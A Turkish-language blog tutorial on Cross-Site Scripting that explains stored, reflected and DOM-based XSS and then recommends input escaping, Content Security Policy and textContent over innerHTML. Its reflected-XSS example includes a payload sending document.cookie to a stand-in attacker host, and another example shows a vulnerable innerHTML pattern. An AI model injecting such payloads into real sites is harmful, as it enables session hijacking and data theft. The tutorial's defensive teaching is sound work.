Cross-Site Scripting (XSS) saldırıları, web güvenliği açısından en yaygın tehditlerden biridir. Bu saldırılar, kötü niyetli kişilerin web sitelerine zararlı JavaScript kodları eklemesine olanak tanır. Kullanıcı tarayıcıları bu kodları çalıştırdığında hassas bilgiler çalınabilir, kullanıcı oturumları ele geçirilebilir veya kötü amaçlı yönlendirmeler yapılabilir.
Bu yazıda, XSS saldırılarının türlerini ve bunlara karşı nasıl korunabileceğinizi anlatmaya çalışacağım.
1. XSS Türleri ve Çalışma Mekanizması
XSS saldırıları üç ana kategoriye ayrılır:
1️⃣ Stored (Kalıcı) XSS
- Nasıl çalışır? Kötü amaçlı JavaScript kodu doğrudan bir veritabanına kaydedilir ve daha sonra kullanıcı sayfayı ziyaret ettiğinde çalıştırılır.
- Örnek Senaryo: Bir blog sitesinde yorum alanına şu kod eklenirse:
<script>alert('XSS saldırısı!');</script>
Bu kod veritabanına kaydedilir ve sayfa her yüklendiğinde kullanıcıların tarayıcısında çalıştırılır.
2️⃣ Reflected (Yansıtılmış) XSS
- Nasıl çalışır? Kullanıcıdan gelen veriyi doğrulamadan sayfada görüntüler.
- Örnek Senaryo: Arama çubuğuna şu kod girildiğinde:
<script>document.location='http://hacker.site/steal?cookie=' + document.cookie</script>
Bu kod çalıştırılırsa, kullanıcının oturum çerezi saldırgana gönderilebilir.
3️⃣ DOM-Based XSS
- Nasıl çalışır? JavaScript kodu, sayfanın DOM (Document Object Model) manipülasyonları üzerinden çalıştırılır.
- Örnek Senaryo:
var userInput = location.hash.substring(1);
document.getElementById("content").innerHTML = userInput;
Bir saldırgan şu URL’yi paylaşır:
https://ornek.com/#<script>alert('Hacked!')</script>
Eğer bu giriş denetlenmeden kullanılırsa, sayfa yüklenirken kötü niyetli kod çalıştırılır.
2. XSS Önleme Yöntemleri
XSS saldırılarını engellemek için şu güvenlik önlemlerini uygulayabilirsiniz:
1️⃣ Kullanıcı Girdilerini Doğrulayın ve Filtreleyin
Gelen verileri doğrulamak, XSS’e karşı ilk savunma hattıdır. Kullanıcının girdiği HTML veya JavaScript kodlarını filtrelemek gerekir.
🔒 Güvenli Girdi Filtreleme (PHP ile):
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');
📌 Bu işlem, <script>
gibi HTML etiketlerini zararsız hale getirir.
2️⃣ Content Security Policy (CSP) Kullanın
CSP, yalnızca belirli kaynaklardan gelen script’lerin çalıştırılmasına izin verir.
🔒 CSP Başlığı Örneği:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com
Bu sayede, yalnızca belirtilen güvenilir kaynaklardan gelen JavaScript kodları çalıştırılabilir.
3️⃣ JavaScript innerHTML
Kullanımından Kaçının
Birçok XSS saldırısı, innerHTML
gibi DOM manipülasyonlarıyla yapılır. Daha güvenli bir alternatif olarak textContent
kullanın:
document.getElementById("output").textContent = userInput;
Bu yöntem, girdiyi güvenli bir metin olarak işler ve tarayıcıda çalıştırılmasını engeller.
4️⃣ Güvenli Doğrulama ve Escape Kullanımı
- 🛡️ Web uygulamalarında verileri HTML, JavaScript ve URL bağlamında escape edin.
- 🔐 Şablon motorları (
Twig
,EJS
,Handlebars.js
) gibi güvenli renderleme sistemleri kullanın.
Örnek:
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
Bu yöntem, kullanıcı girdilerinin doğrudan HTML’e eklenmesini önler.
XSS saldırıları, web siteleri için ciddi bir tehdit oluşturur. Ancak, doğru güvenlik önlemleri alınarak önlenebilir. Web uygulamalarınızı korumak için:
✅ Kullanıcı girdilerini filtreleyin ve doğrulayın.
✅ CSP başlıklarını kullanarak kaynakları sınırlandırın.
✅ JavaScript’te innerHTML
yerine textContent
kullanın.
✅ Escape işlemleri yaparak tehlikeli karakterleri etkisiz hale getirin.
Bu güvenlik önlemlerini uygulayarak, web sitenizi XSS saldırılarına karşı daha dayanıklı hale getirebilirsiniz.
Yorum gönder